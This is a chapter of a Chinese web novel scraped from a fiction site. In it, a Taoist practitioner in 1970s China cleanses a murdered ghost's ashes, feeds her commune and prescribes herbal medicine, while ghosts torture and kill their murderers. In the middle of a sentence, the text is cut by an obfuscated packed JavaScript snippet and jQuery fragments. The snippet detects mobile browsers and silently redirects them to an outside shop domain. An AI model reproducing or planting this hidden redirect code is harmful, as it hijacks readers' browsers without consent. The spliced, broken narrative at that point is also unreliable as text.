文趣网 > 其他小说 > 七零海岛当半仙 > 17. 第 17 章
    突闻爷爷之名的齐朗,像是被定格住。

    神情一时空白,茫然。

    刻意回避的生前记忆,冷不防被勾起,彷如紧闭滞涩的阀门缓慢转动、再轰然洞开,无数画面倾泻而出,不断在他脑中翻飞、闪回。

    牙牙学语时,爷爷便总将他抱在膝头,教他识字、算数;总角之年,他随父母留洋,爷爷便常给他发电报,催他早些回国,想念得紧;待学业有成,他真的回到故土,却遇战乱,父母牺牲,爷爷开始日夜担心他的安危,想将他送走,他不愿,跟着有识青年一起参加运动,爷爷明面上发怒斥责,却又在暗中默默支持,帮他们挡去威胁……

    就连最后一面,也是在和爷爷争吵中度过的。

    都没能再好好看上爷爷一眼。

    种种温情、磕绊犹在昨日,却又似相隔一个世纪之久。

    彻骨的思念、懊悔、怨恨无处安放,太过汹涌猛烈的情愫,撞击着他薄弱的神经,阴怨煞气不受控制地腾腾蔓延,甚至有向地表扩散的趋势。

    周遭寒意骤增,光线与鬼影若明若暗。

    “齐朗。”谢观月及时出言:“往事不可追。”

    她语速轻缓,在森寒地底竟透着几分温柔:“他老人家,终其一生都在发光发热,是有大功德的。

    或许,在未来的某一天,你会再次见到他。”

    齐朗怔怔盯着她:“真的吗?”

    戾气渐渐收敛,他痛苦地流着泪:“我想跟爷爷说声对不起,他的苦心我都清楚,是我辜负了他的栽培……”

    “你没有。”

    谢观月笃定道:“你死后本该身负功德之光,却惨遭邪道毒手用于阴婚镇煞,以致黑煞遮蔽了浅金的光芒。”

    按理来说,全国各地阴命、阳命之人何其多,江雪是常化县本地的人,属于就近原则挑选,而齐朗远在沪市,却偏偏能被挑中……这当中必然另有其因。

    她略一思索:“日后你去沪市故居一探,兴许能找到线索。”

    齐朗微哽:“我会的。”

    听到这里,穆执得以窥见冰山一角,忽而福至心灵,像是抓住解开谜团的关键:“齐家的新任当家人,是你二叔!”

    谢观月唇角一抽:“……别乱猜。”

    她走到棺前,取出净骨会用到的物品,逐一摆放到阴案上后,旋即点燃香烛:“品相不是很好,但也能让你们吃个饱。”

    一闻到“食物”的香气,三只鬼便暂且忘却了七情六欲,纷纷凑过去吸食香火。

    “大人,您真好!”

    江雪感动得稀里哗啦,也不忘狂吃饱腹。

    谢观月摇头莞尔:“慢点吃,晚上见。”

    但凡万地主一家,遵守奉祀规矩,定期祭拜阴婚夫妻,给足香火和贡品不断祀,他俩都成不了这么厉的鬼。

    造化弄鬼啊。

    穆执张张唇,又闭起,同他们无声挥了挥手,继而跟随她的脚步,走出地窖。

    重见天日。

    晴光明媚,微风暖燥。

    他深深呼吸着新鲜空气,可那股寒气却犹如附骨之疽般,并未消褪,他一连打了好几个寒颤和喷嚏。

    “谢大师,感谢你带我开了眼界。”

    他擦擦鼻子,诚心诚意道:“让我拥有了毕生难忘的经历。”

    “不客气。”

    谢观月寡淡一语,临走出院子,侧头:“把符戴好,多晒太阳,别丢了小命。”

    “……好的!一定!”

    穆执赶紧应声,简直将她的话奉如圭臬。

    门边上等他的裴昭,不禁心生羡慕。

    他的符用掉了,好想再问大师求一枚啊,可又恐索取太多,引得大师反感,诶。

    -

    谢观月修炼至五点半,起身做晚饭。

    进入灶房,她舀米准备淘洗时,发觉大米和精面的分量未变,便知大伙中午是随便对付的一顿。

    她无奈轻叹。

    四五斤的米,加进十倍的水,就能煮稍稠些的白米粥吃,他们却舍不得。

    而她舍得,淘米、加水分别倒入两口大锅,锅上各架着一屉蒸笼,一边热肉包子,另一边打算蒸海鲜。

    先把蛤蜊倒进木盆内,添水滴油,搁墙角放一夜吐沙子,接着将半死的青蟹、对虾和鱿鱼清洗干净,她不清楚是否有人海鲜过敏,不然就能熬海鲜粥吃了。

    引燃木柴,推进灶膛。

    看火时,她顺便调制两种简易的海鲜蘸料汁。

    一款不辣的,老少皆宜。

    取大量野姜切末,野葱切丁,葱姜能中和海鲜的寒性,又能去腥,最大限度保留海鲜特有的滋味。再加酱油、香醋和适量的白糖提鲜,用小铁锅烧热油,淋上滚油激发香味。

    待蒸熟的虾蟹轻轻一蘸,绝对鲜爽可口。

    另一款蒜香鲜辣开胃,适合爱吃辣的人。

    切大量蒜末、本土鸡椒和葱丁,依旧加酱油、香醋和白糖,淋热油激出香味后,再倒进些许凉白开稀释搅匀,蘸着吃必是香辣美味,一口满足。

    ……

    落日熔金。

    矮屋烟囱袅袅,山林静寂,偶有鸟雀成群结对飞过半空。

    下工的棚区人远远瞧见这一幕,便觉欣喜。

    “我闻见大肉包子的香味了!”谢观星狗崽子似地耸动着鼻头:“姐姐肯定买了肉包!”

    廖启衡抬起手,往鼻前扇了扇风:“不对,是海鲜。”

    祝文英笑开了花:“午间刚吃过鸡杂,今晚又有口福了!”

    “这日子,真好过啊。”

    众人有说有笑,劳累一整日的倦意,顿时烟消云散。

    等打完粥,分到肉包子和蘸料,海鲜吃进嘴,各个长舒出口气,人生好似再无遗憾。

    谢观星叼着肉包,剥好大虾递给姐姐后,自己便也迫不及待地剥一只,蘸上爽口的料汁,好吃得恨不得把舌头给吞下去!

    “唔唔。”

    他晃悠着小脑袋咀嚼,双眼眯起,享受得不行。

    其他人也多是如此,边吃边感叹“真香”。

    少部分出身权|贵、及高知分子,吃相斯文,不紧不慢,却也能从眉眼间瞧出,此时异常满足。

    出乎谢观月的意料,没人对海鲜过敏。

    “祝婶子,明早是你做饭吧?”得到对方肯定的答复,她放下碗筷,指着木盆:“里头有蛤蜊,灶房里有虾米、咸鱼、带鱼干和鱿鱼干,可以做海鲜粥吃。”

    她话落,又扩散音量:“我既已收取大家的钱财,往后粮食和肉菜管够,吃完我再去公社里补就是。

    顺带和大家报备一下,总计买到六百多斤粮,以及油盐酱醋糖、烟酒副食品、鸡鸭鱼肉鸡蛋若干……”

    众人俱是震撼不已。

    难以想象,她小小的身板,是如何神不知鬼不觉地将物资给运回来的!

    奇了!

    谢观月吃饱后,走进草棚,佯作从里面拖出东西。

    她把分发的任务,交给吃撑的星星和沈知虞,助他们消食。

    刀具一人一把。

    汽水、钙奶饼干、桃酥和鸡蛋糕,每人都分到一至两个;

    茶叶,棚区的人都能适当喝一点,清热解乏,祛油腻、助消化,每日放在一起煮一大锅,装进各自的竹筒里,带去上工也方便。

    烟、酒,只有爱好的人,才想沾,多是爷爷叔伯分的,两两一包一瓶,他们稀罕得搂抱着,烟当场就抽,酒则商量着下顿吃荤菜时,再开瓶喝。

    至于罐头,每罐里面果肉、糖水各占一半,婶娘们加星星、沈知虞,正好两两一罐,多要果肉还是多要糖水,便根据各人喜好来分,要过烟酒的自觉不分这杯羹。

    而日用百货是限量的,做不到人均一个,谢观月便让有需要的人,自个儿上前拿。

    见他们没有动作,她轻笑:“不用互相推让,下趟给你们都配齐。”

    可一群人左看右看,就是不肯拿。

    她便只好率先把火柴,铁皮桶,镜子,牙膏,牙粉,马兰花香皂,搪瓷脸盆,手电筒和电池摘出来,放到灶房公用。

    铅笔,橡皮,写字本则是给星星。

    其他人这才上手选。

    沈知虞和婶娘们合计后,决定一起用蛤蜊油,雪花膏和梳子;

    唐佩卿拿了棉线,缝衣针,纽扣和的确良布料,打算给几个小辈做衣裳;

    解放胶鞋是43码的,配新棉袜刚好,廖启衡和他的老战友蒋松亭便选走了;

    剩下的几样没人要,塑料凉鞋太鸡肋,大家睡觉以外几乎都在地里,雨靴也可有可无,赤脚反倒走得更稳当。

    牙刷谁都有,毛巾和枕巾也不必更换,有肥皂勤洗即可。

    谢观月便自留下。

    而陆行洲只收下一把刀,其他都没要,分到的吃食也全塞给了谢观星。

    “谢谢陆大哥!”

    谢观星像被大奖砸中般欢天喜地,但很快冷静下来,往回递:“姐姐分给你的,我不能拿。”

    “拿着。”

    陆行洲眉眼幽沉,手掌抚着星星的头顶:“我不吃甜食。”

    “这样啊。”

    谢观星努努嘴,转眸征求他姐姐的意见。谢观月冲他微颔,他才放心收好。

    “那你喜欢吃什么?”

    她扬眉,一眨不眨地凝着男人的眼睛。

    余光里,泛着冷光的刀刃,锋利,薄锐,跟陆行洲他本人如出一辙。

    而被她突如其来且毫无保留地注视着,陆行洲心头蓦地漏跳一拍。

    他略显错愕地绷紧下颌,不自禁挺直发僵的肩背,却依然感到浑身不自在,无端想做点事转移下注意力,以减轻应激似的反应。

    指尖遂无意识地攥紧,却惹得谢观星“嘶”地叫痛。

    “陆大哥,我头发要被你揪秃了!”

    谢观星推开他的大掌,委屈巴巴地控诉。

    “抱歉。”陆行洲被烫到般,避开那道视线,垂下手臂。

    回避未果。

    她看过来的眼神,平淡而安静,无波无澜,并不固执,却始终没有错开半寸,就仅仅只是在等他的一个回答而已。

    可他心跳愈烈,口中实在干涸得厉害。

    “……燕临烤鸭。”他听见哑得不成声的几字,从自己喉间挤出。

    谢观月还当是多难寻的食材,要酝酿个半晌。

    “明天就安排上。”

    棚区虽没有擅长做燕临烤鸭的大厨,但一通百通,难不倒会煎炒烹炸的婶娘们,区区葱酱卷皮烤鸭,小菜一碟。

    唐佩卿就是燕临人,她从前做科研以外,最常干的就是琢磨菜式。

    她自告奋勇:“交给唐奶奶我,保准让小陆吃到最正宗的燕临味烤鸭。”

    “还有我。”同是燕临的宋凝姝举手。

    她五官秀丽,面色萎黄干枯,模样比其他婶子年轻些,约莫四十上下,平日低调,少说多做,这会子难得出一次头。

    谢观月在她脸上多停留了几秒,回以浅浅一笑:“好。”

    “我跟着学!”祝文英和沈知虞异口同声。

    其余人也纷纷表示,会帮忙打下手。

    ……

    许久。

    陆行洲抿唇,目光并没落在谁身上,却又看着所有人。

    他沉声道:“谢谢。”

    自打给亲人烧完纸后,苟活下去似乎也没那么不堪了,此刻,更有股陌生的、意为守望相助的暖意,在丝丝缕缕地融入他的血肉。

    “嗐,小陆你啊,就爱瞎客气。”唐佩卿拍两下他的手臂:“大家伙也都是要吃的。”

    谢观月微不可查地勾唇。

    是时,最后一抹残阳湮没于地平线。

    夜幕悄然降临。

    人的面部轮廓变得朦胧,她打开手电筒照明:“我还配了些温补的药,来几人帮我搬一下。”

    她不等各位反应,复又走进草棚,瞬时释放出储物符内的陶砂罐和药材。

    陆行洲默不吭声地跟随其后。

    他饱餐过,有的是力气,一人来回两趟,就搬运完了沉甸甸的罐子,另有两名叔伯负责背药材。

    众人见状,一片哗然。

    “这么多!!!”

    谢观月接连带来的震撼,不亚于投石入湖,激起千层浪,棚区内吸气感慨声登时络绎不绝。

    也愈加惊奇于她玄异的手段。

    这时,谢观月把破木桌拖到石凳前,让星星依次展开药材纸包。

    “大家排好队,我给你们把把脉。”

    原先,她是依照“望闻问切”里的前三者,来大致诊断开方的,毕竟她了解他们的过往情况,但为了调理到位,还是切下脉,摸清楚各人的身体内情,完善药方、适量增减药材更为妥当。

    唐佩卿排在首位,伸出胳膊,垫在桌沿:“月月,你还懂得医术啊?”

    “嗯,略懂。”谢观月谦虚道。

    她轻轻搭上唐奶奶的脉搏,十多秒后,再换另一只。

    跟她预判的病情,别无二致。

    她站起,揭一沓新的药纸,取少量杜仲、牛膝、菟丝子、枸杞……另添一味槲蕨,它又叫骨碎补,能祛风除湿,舒筋活络,固齿聪耳,补肾强骨,修复骨骼,防止骨质疏松等。

    “唐奶奶,这是半个月的剂量,每日一剂加水煎煮,滤出药汁早晚分服,或者炖排骨汤喝也行,喝完您腿脚无力、腰痛耳鸣的毛病就能好多了。”

    她递出十五副药包,并一只药罐。

    唐佩卿听得目瞪口呆,月月当真是在对症下药啊。

    “好好好,唐奶奶听你的!”

    她喜笑颜开地抱住罐子,拎上药材,把位置让给下一个。

    之后,谢观月便不厌其烦地把脉、取药,谢观星和沈知虞在旁帮她包药。

    她给陆行洲摸过脉,为避嫌,也为坐姿切脉比站姿摸脉更准确,便又重新诊断了一次才开药方;后面的叔伯婶子爷奶们,与她初诊的病况大差不离。

    只有宋凝姝,比她预估的病情要严重些。

    对方是早产儿,先天元气不足,唇甲发白,少女时便宫寒瘀滞,婚后产子又落下月子病根,更是常年劳累、多思虑,以至气血、脾肾两亏,经期紊乱、痛经,平时也是腰酸小腹冷坠,手脚冰凉乏力,脱发,头晕气短、心悸多梦,阴雨天更甚……

    她和沈知虞的方子不适合对方。

    “宋婶婶,您身子亏空得太狠,我先给您开一个月的小固本养元汤喝着,再配合长期的艾灸和食疗,循序渐进地补回先天和后天的底子。”

    宋凝姝怔怔点下头,眼眶酸胀:“月月,婶子这样,还能治好么……”

    “能。”

    谢观月慢声同她解释:“前两个月以汤药为主,调气血,温养脾胃肝肾,补气散寒;

    中期减少汤药,多食补养护,每月只需经前一周服药调理便可;

    后期再换温补的药膳,吃上小半年,先天和后天的病灶便能逐步根除。”

    “真,真的吗?!”

    宋凝姝当即喜极而泣。

    她本以为,自己顶多再坚持住个把月,就得去地下跟丈夫和父母团聚了,没曾想……竟是峰回路转,否极泰来。

    谢观月直视她:“真真的。”

    她飞快捻过药材,炙党参、黄芪、当归、制首乌,炒白术、茯苓……骨碎补、杜仲、菟丝子、艾叶、肉桂。

    “宋婶婶,三碗水熬成一碗,早晚温服,忌口的食物我写给你,回头我跟大队长打声招呼,您平常干活累了,就歇着,别硬撑。”

    婶子的身体已是强弩之末,再经不住苦熬,等熬干了精血,便回天乏术了。

    她说罢,朝着摆弄新药罐的婶娘们叮嘱:“以后我们每周都炖鸡汤、鸭汤和排骨汤,一起补补;每半月再单独给宋婶婶炖一次乌鸡汤,加红枣、野姜、杜仲和黄芪。”

    众人或蹲或站在周围,都没离开。

    回应声遂从四面八方传来:“好勒月月。”

    宋凝姝已是泣不成声。

    祝文英鼻腔酸涩,走到她身旁,抚着她的后背:“有月月在,会好起来的。”

    “嗯嗯。”

    宋凝姝鼻音浓重,两手频频抹去泪水,却怎么都擦不干,她吸吸鼻子,定定望着谢观月:“月月,婶子就不多余说谢了,后半辈子,只要你用得到婶子的地方,婶子绝无二话。”

    谢观月知道,她若不表态,对方就要时常挂怀。

    如此一来,便不利于病情恢复。

    她应:“好。”

    借用谢观星的新纸笔,行云流水写下一行字:

    【用药期忌一切血、醋及酸,葱,蒜,萝卜,青鱼,菘菜,桃和李】

    宋凝姝双手捧过,与药材药罐放置一处,背过身去擦泪。

    “义诊”至此结束。

    各自去忙活洗漱,走路都倍有活力。

    往常,他们从没吃饱过,即使喝个水饱,也会在短短一两小时后,再次饿得肚子咕咕叫,轻则手脚发软、头晕眼花,重则会感到恶心反胃,心律失常。

    那是因为各个肚里皆没有油,又缺营养,步子都发飘,哪来的精气神维持活力。

    而这两日,大伙沾了荤腥,五脏庙又得以餍足,原本面黄肌瘦的脸色,都稍微好看了一点。

    其中,当属谢观星的变化,最为明显。

    小家伙唇色总算有了粉意,他不再平躺着保存精力,刷完牙、冲完澡,就在竹席上滚来滚去:“好舒服啊。”

    谢观月低笑:“知足常乐,挺好。”

    不贪心,则无所奢求,自然也无执念带来的负累。

    “有姐姐在,星星就开心。”谢观星抱着她的手臂撒娇。

    可乐极生悲,他突然想起从前,家中不单只有姐姐,还有……他眼里不由蒙上一层水雾:“姐姐,我想爹娘,爷奶,二叔二婶,小姑小姑父,堂哥堂姐们,还有堂弟堂妹他们了。”

    谢观月沉默一瞬。

    将小家伙揽入臂弯,耳语道:“星星,最迟年底,姐姐就带你走

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658945|206457||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    阴去见他们。”

    “走阴?”

    谢观星抬眸,他应该在某本手札内见过。

    “嗯。”谢观月跟他科普:“走阴路分为两种。

    一种魂魄离体,只在阴阳交界的阴地活动,可找回走失的魂魄、送鬼魂投胎,但总体还在阳间范围;另一种是魂魄穿过阳界,过鬼门关、走黄泉路,进入阴曹冥府,便能见到我们的亲人,还能见阴司、办阴事。”

    谢观星听完,非但不怕,还心生憧憬:“姐姐,我要跟着你好好学。”

    “乖孩子。”谢观月揉揉他的头发。

    说做就做,谢观星拿过铅笔和本子,开始在纸上练习画符。

    小家伙情绪来得快,消散得也快,谢观月松口气。

    她不急着洗漱,还有场“硬仗”等着她去解决呢。

    打坐修炼前,她关照道:“星星,你修习完三张符箓就睡觉,姐姐子时要去趟知青点,给枉死的厉鬼做场小法事,醒来见我没回来,也别慌。”

    “嗯呐!”

    谢观星乖巧一应,关切道:“姐姐要注意安全。”

    “不必担忧,没谁伤得了我。”

    时间一晃而过。

    月黑风高,山风呼啸,谢观月悄声远去。

    知青点仍是闹哄哄的,孤魂野鬼们彻夜亢奋,不眠不休。

    阮韫知和宋辞不在,两人借住在秦锋他老姐家里。

    谢观月便也无需跟谁打招呼,旁若无人地翻进院后,下至地窖深处。

    “大人!您来啦!”

    三只鬼热络地恭迎上前,一副等候已久、苦苦盼着君王临幸的妃子状。

    “……别挨太近。”

    谢观月这具根骨虽道基未稳,可她灵魂中存纳着道意,尚未圆满,却能灼伤阴灵鬼煞,堪称百邪不侵。

    若非出自她本意主动接触,很容易导致鬼体魂飞魄散。

    “好吧。”江雪往后飘半尺,大眼圆睁:“大人,霜离姐马上就能脱离苦海了吗?”

    “嗯。”

    谢观月薄唇微启:“还可融合骨灰修炼凝实,或重新入轮回。”

    纪霜离既期待又紧张。

    “事不宜迟。”谢观月走近阴案:“净骨中途不能被打搅,你们各做各事去。”

    江雪:“我们正准备去报仇呢!”

    “去吧,天亮前记得回。”

    阴风漫卷,三只鬼听话地消失于原地。

    偌大空荡的地底,唯余谢观月一人。

    她先点三炷黄香敬神,简单说明用意:“今有枉死鬼纪霜离,骨灰遭污,鬼魂无所归依,天一门玄戈特来净骨安魂,望此地山神与城隍庇佑。”

    话毕,香火均匀迅猛燃烧,香芯又明又旺,烟雾笔直。

    寓意大吉。

    她不再迟疑,在旧屎瓮前点燃香烛,绕着它撒盐、石灰和白米,顺、逆各绕三圈,初步给法坛外围净秽收煞。

    “燥阳涤污,秽散浊消。”

    随即,她削下一节桃木,面无表情地撬开瓮盖,用新筷子一点点夹出遭污的骨灰,放进干净的白布里,扎紧四角,再点燃火堆,将旧瓮烧裂砸烂。

    接下来是关键步骤之一,洗骨去秽。

    她提前预留了两只陶砂罐,一大一小,小的充当陶盆,把骨灰放进去;大的里面削入一段柳木,加艾草、盐和山泉水煮沸,慢慢放凉后,她重点一支粗烛,将艾草柳盐水倒进小陶盆,浸没骨灰。

    而浸泡这个过程,要足足持续三个时辰,让秽气自然析出。

    夜深人静,最是容易困倦。

    还有得等,谢观月便离法坛远些,坐下来闭目养神。

    ……

    同一时刻。

    常化县最大的劳改农场处,鬼影幢幢。

    一道惯例惨叫,刺破黑沉沉的夜。

    厉鬼连续造访,万家人的左邻右舍已然被迫习惯“开场叫”。

    “万振宏,万泽,今日就是你们的死期!”

    纪霜离鬼音起伏迷离,煤油灯随之变成绿光,屋内氛围越发阴森邪诡。

    万氏父子俩清醒着被翻来覆去地折磨,晕过去,便再弄醒,醒了再被痛昏,简直求生不得,求死不能。不过才三夜,就已全无人形,仅吊着一口气。

    而万家其他人却毫无所觉,全部睡得很死。

    “嗬……嗬。”

    万振宏气管肿胀,费力唾骂:“贱|婊|子,小畜牲,你们只要,造杀孽,就会下,地狱!纪霜离,你个贱|人!你还不,知道吧,你骨灰被,屎尿污了,就算出来了,也是没法,投胎的,哈哈,哈哈!”

    纪霜离冷笑。

    大人这会儿正帮她重塑轮回路呢,她才无所畏惧。

    “我的下场好不好不一定,但你肯定会被打入饿鬼道,永困无间,饥、渴千万年,永世不得超生!”

    大人传授她借用幽冥之力时,便已断过,万氏父子必会入恶鬼道,没有第二种可能。

    且享受万家钱财、造过其他罪孽的万氏其他人,也同样逃脱不了极刑惩罚,早晚会死,且死前会极度痛苦。

    “不可能!”

    万振宏竭力嘶吼:“我下一世,还会做,富贵,大少爷!”

    而他脚边的万泽,哪还管得了身后事,疼得满地打滚抽搐,痛哭流涕地求饶:“求姑奶奶、姑爷爷放过我,我还不想死呜呜……”

    就算他过得很惨,可好死不如赖活着,他就想活着。

    “当年,你俩可没放过我们。”

    齐朗逼问:“说,那邪道究竟是何人?再不说,即刻就死!”

    “我,我说,我说我说!”

    万泽遭不住磋磨,跪地投降:“他叫韩……”

    他方才出口一个字,脑袋便像熟透的西瓜瓤一样,“砰”得一下清脆炸开,血雨四溅!

    魂飞魄散!

    连一块残魂碎片都没留下。

    同时,他的颈间,红绳无所依,琤然滚落下来一枚灰绿的玉坠。

    万振宏看不见,可听得见,裸露在外的皮肤也是一阵温热。

    这三只鬼一心想得到答案,断不会杀掉意图招供的儿子,那么只有……

    他全身骤然僵直,前所未有的惶恐!

    “不,不会的。”他一个劲地摇头否认:“仙师,不,道长,绝不,会骗我!”

    看他死鸭子嘴硬,齐朗哼笑。

    “你敢说出那邪道的名字吗?抑或是,你敢动这个念头么?”

    仅两句话,便彻底击溃了万振宏的心理防线。

    “啊,啊啊……不!”

    万振宏蜷缩在墙角,头一下一下磕着木床腿,死死攥住胸前的玉坠:“我不会,中计的!道长,会帮我的!他会,帮我的!”

    信仰俨然在崩塌的边缘。

    江雪开怀大笑,刺激他:“你儿子脑瓜炸了,残魂都消失了哈哈哈哈,好啊,好!”

    她凑近万振宏散发鬼气:“你看邪道来接他、保他没?”

    “你不是信誓旦旦,邪道会让你们免受地狱酷刑么,万泽是免受酷刑了诶,因为他三魂七魄俱碎、灰飞烟灭了呀哈哈哈哈哈!”

    纪霜离没说话。

    最恨的人死得猝不及防,虽高兴,却不痛快,她用阴力裹挟起玉坠,见万振宏也抓着一枚,便飘至他跟前,袖风一摆,将其五指生生掰断,硬扯出那条坠子。

    万振宏涕泗横流,疼得快麻木,手也不忘奋力在空中乱抓乱够:“给我!还给我……

    我不能,没有它!”

    “这里头有邪道的气息!”

    齐朗不会认错:“一股恶臭味!”

    “两枚颜色不一样。”纪霜离印象中,万泽那枚原也是翠绿的:“是死了就变灰,还是魂魄消无会变灰?”

    万振宏听罢,竟是抖得更凶猛。

    齐朗心中已有答案:“后者吧,或许邪道就是靠玉坠,掌控他们魂魄的。”

    万振宏立时面露绝顶的惊恐。

    他嘴唇颤动,刚动了某个反抗的念头,就剧烈痉|挛起来……他先是大小便失禁,胸腔灼烧般干痛,耳膜鼓胀,无边的恐慌中,他想要撤回那个想法,却是无效。

    覆水难收,根本没有后悔的机会。

    他带着极度的恐惧和不甘,疯狂挣扎、求救,直至窒息而亡。

    玉坠的颜色并未变化。

    三只鬼等了等,在万振宏亡魂离体的一瞬间,他们便忙不迭飞往坝王大队。

    直觉有鬼力强大的阴差,正在赶来!

    ……

    鸡鸣过三遍,谢观月精神饱满地走回陶盆前,倒掉上层污水,浅留底层的水,她取一小块白布,轻轻按压,吸干多余的水分,再重复两次一刻钟的短时浸泡。

    接着,她拿出一两朱砂,掺入山泉水搅匀,快速淋一遍骨灰后,再用山泉水冲净,白布吸干。

    一番忙活下来,骨灰终于由黑臭,转为灰白洁净。

    恰好,正主也已复仇归来。

    可继续进行至关紧要的下一步。